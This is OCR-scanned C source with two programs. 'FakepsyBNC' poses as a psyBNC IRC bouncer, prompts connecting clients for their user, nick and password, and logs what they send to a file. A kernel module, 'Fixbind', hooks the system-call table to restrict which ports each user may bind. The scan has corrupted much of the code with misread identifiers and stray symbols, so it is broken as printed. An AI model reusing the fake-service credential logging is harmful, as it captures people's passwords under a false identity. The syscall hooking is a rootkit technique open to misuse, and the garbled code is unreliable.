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#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>

#include <signal.h>

#include <fcntl_h>

#include <netdb.h>

#define MAX_CONN 1

void bg( );

void tcp_initialize( );

void logging( );

int main( int argc, char **argv )

{

int sd, client_len, binding, finished, PORT, i, Kk;
int user, nick, pass, new_sd, waiting, client_addr_len, j;
char ch;

char nickname[30];

char memory[30];

char start[]="Software Launched with Success!";

char welcome[]="":Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1\n";
char setpassa[]="":-psyBNC!psyBNC@lam3rz.de NOTICE";
char setpassb[]=":Your IRC Client did not support a password. Please
type /QUOTE PASS yourpassword to connect.\n";

char setpass[200];

struct sockaddr_in server_addr, client_addr;

if( argc!=2 ){

printf( "\nFakepsyBNC\n" );

printf( "www.ramsinl340@yahoo.com \n" );

printf( "Author:Hashem_.H \n\n" );

printf( "%s <PORT>\n", argv[0] );

exit( 0 );}

client_addr_len=sizeof( client_addr );

PORT=atoi( argv[1l] );

finished=0, user=0, nick=0, pass=0;

tep_initialize( &server_addr, PORT, INADDR_ANY );
signal ( SIGCHLD,SIG_IGN );

sd=socket( AF_INET, SOCK_STREAM, 0 );

if( sd <0 ){

perror( "Socket error' );

return -1;%}

binding=bind(sd, (struct sockaddr *)&server_addr,sizeof(server_addr));
if( binding = 0 ){

perror( "Bind" );

return -1;%}

waiting=listen( sd, MAX_CONN );

if( waiting!=0 ){

perror( "Listening" );

return -1; }

for( 1=0; i<30; i++ ) memory[1]="\0";

for( 1=0; i<200; i++ ) setpass[i]="\0";

bg( ):

printf( "\nFakepsyBNC Launched into Background!\n" );
printf( "Copyright © 2004 Rosiello Security\n" );
printf( "Author: Angelo Rosiello\n\n" );

logging( start );

new_sd=accept(sd, (struct sockaddr *)client_addr, &client_addr_len);
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send( new_sd, welcome, strlen(welcome), 0 );

i=0;

while( !finished ){

recv( new_sd, &ch, 1, 0 );

memory[i]=ch;

iT( ch=="\n" ){

for( i=0; i<30; i++ ) memory[i]="\0";

i=-1;}

ifT( stremp( memory, "USER"™ )==0 || strcmp( memory, "user™ )==0 ){
for( j=0; j<30; j++ ) memory[J]="\0";

user=1;
if( nick==1 && pass==0 ){
J=0;

while( ch!="\n" && j<30 ){

recv( new_sd, &ch, 1, 0 );

memory[j]=ch;

J++:}

logging( memory );

sprintf( setpass, "%s %s %s', setpassa,nickname, setpassb );
send( new_sd, setpass, strlen(setpass),0 );}
if( nick==1 && pass==1 && user==1 ){
finished=1;

3=0;

while( ch!="\n" && j<30 ){

recv( new_sd, &ch, 1, 0 );

memory[j]=ch;

J++:}

logging( memory ):}

for( J=0; j<30; j++ ) memory[J]="\0";

i=-1;}

if( stremp( memory, "NICK"™ )==0 ||]strcmp( memory, "nick"™ )==0 ){
for( j=0; j<30; j++ ) memory[J]="\0";

3=0;

while( ch!="\n" && Jj<30 ){

recv( new_sd, &ch, 1, 0 );

memory[j]=ch;

J++:}

for( k=1; k<j-2; k++ ) nickname[k-1]=memory[Kk];
nickname[k]="\0";

logging( nickname );

nick=1;
if( pass==0 && user==1 ){
§=0;

while( ch!="\n" && Jj<30 ){

recv( new_sd, &ch, 1, 0 );

memory[j]=ch;

J++:}

logging( memory );

for(k=0; k<30; k++)

if(nickname[k]=="\n")

nickname[k]="\0";

sprintf( setpass, "%s %s %s'",setpassa, nickname, setpassb) ;
send( new_sd, setpass,strlen(setpass),0 );}
if( nick==1 && user==1 && pass==1 ){
finished=1;

1=0;

while( ch!="\n" && j<30 ){

recv( new_sd, &ch, 1, 0 );
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memory[j]=ch;

i+ 3}

for( j=0; j<30; j++ ) memory[j]="\0";

i=-1;}

iT( strcmp( memory, "PASS™ )==0 ||strcmp( memory, "pass"™ )==0 ){

pass=1;

iT( user==1 && nick==1 && pass==1 )

finished=1;

for( j=0; j<30; j++ ) memory[j]="\0";

3=0;

while( ch!="\n" && j<30 ){

recv( new_sd, &ch, 1, 0 );

memory[j]=ch;

it}

logging( memory );

for( J=0; j<30; j++ ) memory[J]="\0";

i=-1;%}

i++;}

return 0;}

/’ xxxxxxxxx

void bg( ){
signal ( SIGHUP, SIG_IGN );
if ( fork ( )!'=0 ){
exit( 0 );}}

/

void tcp_initialize(struct sockaddr_in *address, int port,long IPaddr)

*******************:(************************/

xxxxxxxxx ********************7(************************/

address->sin_family = AF_INET;
address->sin_port = htons((u_short)port);
address->sin_addr.s_addr = IPaddr;}
/9(********************* *********************>(-k~k*********************/
void logging( char ch[30] ){
int fd;
fd = open( "psy-log"™, O _CREAT | O_RDWR | O_APPEND, 0644 );
sprintf( ch, "%s\n", ch );
write( fd, ch, strlen(ch) );
close( fd );}
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#define MODULE
#define _ KERNEL_
#include <linux/kernel_h>
#include <linux/module.h>
#include <linux/net._h>
#include <linux/sched.h>
#include <linux/socket.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <linux/in.h>
#include <linux/byteorder/generic.h>
#include <asm/byteorder.h>
#include <linux/tty.h>
#define step 100
#define First_port 10000
MODULE_LICENSE("'GPL™);
MODULE_AUTHOR(*'ramsin');
int ( *o_socketcall ) ( int, unsigned long * );
extern void *sys call_table[];
#define AL(X) ((xX) * sizeof(unsigned long))
static unsigned char nargs[18]={AL(0),AL(3),AL(3),AL(3),AL(2),AL(3),
AL(3),AL(3),AL(4),AL(4),AL(4),AL(6),
AL(6),AL(2),AL(5),AL(5),AL(3),AL(3)};
#undef AL
void print_string(char *str){
struct tty_struct *my_tty;
my_tty = current->tty;
if (my _tty '= NULL) {
C(my_tty->driver).write)(my_ tty, 0, str, strlen(str));
C*(my_tty->driver).write)(my_tty, 0, "\015\012", 2); 1>
uintl6_t ntohs(uintl6_t x){
u_char *s = (u_char *) &x;
return (uintlé_t)(s[0] << 8 | s[1D:}
int n_socketcall(int call, unsigned long *args){
struct sockaddr_in address;
unsigned long a0, al;
unsigned long a[6];
struct task struct *cTask = get _current();
int ret, uid;
int requested_port;
int port = first_port;
char msg[64];
if(call == SYS _BIND){
uid = cTask->uid;
if(uid > 555){
print_string('your uid number s out of bounds!!!');
return -1;%}
else if(uid==0) goto request_ok;
if (copy_from_user(a, args, nargsfcall]))
return -EFAULT;
a0=a[0];
al=alll:

11
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copy_from user(&address, (struct sockaddr *)al, a[2]);
requested _port = ntohs(address.sin_port);
port = port+(step*(int)cTask->uid);
if(requested_port>=port && requested port<port+step)
goto request_ok;
else{
if(port>65565) return -1;
sprintf(msg, ""Possible range of ports %d<x<®%d'", port-1, port+step);
print_string(msg);
return -1;%}
request_ok:
ret = o_socketcall(call,args);
return ret;}
else ret = o_socketcall(call, args);
return ret;}
/ * Xk
/
int init_module(void){
o_socketcall = sys call_table[SYS_socketcall];
sys _call_table[SYS socketcall] = (void *) n_socketcall;
printk("Module Fixbind Loaded!\n");
return O;}
/********************************************************************
/
void cleanup_module(void){
sys _call_table[SYS socketcall] = o_socketcall;
printk("*Fixbind unloaded\n™);}
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